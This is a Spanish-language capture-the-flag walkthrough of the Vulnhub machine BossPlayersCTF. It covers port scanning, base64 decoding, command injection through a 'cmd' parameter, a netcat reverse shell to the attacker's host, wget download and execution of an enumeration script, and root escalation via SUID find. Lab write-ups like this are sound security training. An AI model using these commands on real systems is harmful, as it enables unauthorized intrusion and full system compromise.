__    _____        _____     _____ _ _____
        |  |  |  _  |   ___|  _  |___|  |  |_|_   _|___
        |  |__|     |  |  _|     |_ -|     | | | | | .'| 
        |_____|__|__|  |___|__|__|___|__|__|_| |_| |__,|
			hola@lacashita.com

 
 

[VLN] BossPlayersCTF

Hoy vamos a hackear la maquina de Vulnhub llamada BossPlayersCTF1. Podeis descargarla desde: https://www.vulnhub.com/entry/bossplayersctf-1,375/
  • Video
  • Enumeration
  • Empezamos con un nmap para ver que puertos tiene abiertos.
    sml@m0nike:~$ nmap -A -p- 192.168.1.109 Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-04 06:29 CET Nmap scan report for bossplayers.home (192.168.1.109) Host is up (0.0066s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0) | ssh-hostkey: | 2048 ac:0d:1e:71:40:ef:6e:65:91:95:8d:1c:13:13:8e:3e (RSA) | 256 24:9e:27:18:df:a4:78:3b:0d:11:8a:92:72:bd:05:8d (ECDSA) |_ 256 26:32:8d:73:89:05:29:43:8e:a1:13:ba:4f:83:53:f8 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap .org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 24.11 seconds
    Si miramos el codigo fuente de la pagina web inicial, abajo del todo podemos ver:
    WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK
    Hacemos el "decode" con base64 hasta que obtenemos algo interesante...
    sml@m0nike:~$ base64 -d <<< WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBO blBUMEsK ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K sml@m0nike:~$ base64 -d <<< ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K d29ya2luZ2lucHJvZ3Jlc3MucGhwCg== sml@m0nike:~$ base64 -d <<< d29ya2luZ2lucHJvZ3Jlc3MucGhwCg== workinginprogress.php
  • Exploitation
  • Despues de probar varios parametros en el php, vemos que "cmd" nos devuelve el output del comando que le pasamos como parametro, sabiendo esto miramos si tiene nc..
    http://192.168.1.109/workinginprogress.php?cmd=whereis nc nc: /usr/bin/nc.traditional /usr/bin/nc /usr/share/man/man1/nc.1.gz
    Vemos que tiene nc asi que ponemos en nuestro pc el puerto 4444 a la escucha.
    sml@m0nike:~$ nc -nlvp 4444
    Ahora ejecutamos el siguiente comando para obtener una reverse shell, es decir, que la maquina victima se conecte al puerto que estamos escuchando y nos facilite una shell.
    192.168.1.109/workinginprogress.php?cmd=nc%20-e%20/bin/sh%20192.168.1.137%204444
    Y en nuestro pc obtenemos la shell :)
    sml@m0nike:~$ nc -nlvp 4444 listening on [any] 4444 ... connect to [192.168.1.137] from (UNKNOWN) [192.168.1.109] 57012 id uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • Privilege Escalation
  • Bien, ahora que estamos dentro, queremos escalar privilegios. Lo primero es obtener una shell interactiva con:
    python -c 'import pty; pty.spawn("/bin/sh")'
    Procedemos a descargarnos un script para enumerar el sistema.
    $ wget http://192.168.1.137/lin.sh wget http://192.168.1.137/lin.sh --2020-02-08 18:19:40-- http://192.168.1.137/lin.sh Connecting to 192.168.1.137:80... connected. HTTP request sent, awaiting response... 200 OK Length: 46632 (46K) [application/octet-stream] Saving to: 'lin.sh' lin.sh 0%[ ] 0 --.-KB/s lin.s h 100%[===================>] 45.54K --.-KB/s in 0s 2020-02-08 18:19:40 (348 MB/s) - 'lin.sh' saved [46632/46632]
    Ejecutamos el script.
    $ sh lin.sh ..SNIP.. -e [+] Possibly interesting SGID files: -rwsr-sr-x 1 root root 198976 Jan 8 2019 /usr/bin/grep -rwsr-sr-x 1 root root 315904 Feb 16 2019 /usr/bin/find ..SNIP..
    Vemos que tiene el ejecutable find como fichero SGID. Podemos utilizar find para escalar privilegios de la siguiente forma:
    $ /usr/bin/find . -exec /bin/sh -p \; -quit # id uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(ww w-data)
  • root.txt
  • # cd /root # ls root.txt # cat root.txt Y29uZ3JhdHVsYXRpb25zCg== # cat root.txt | base64 -d congratulations
  • End
  • Y con esto ya seriamos root de la maquina :)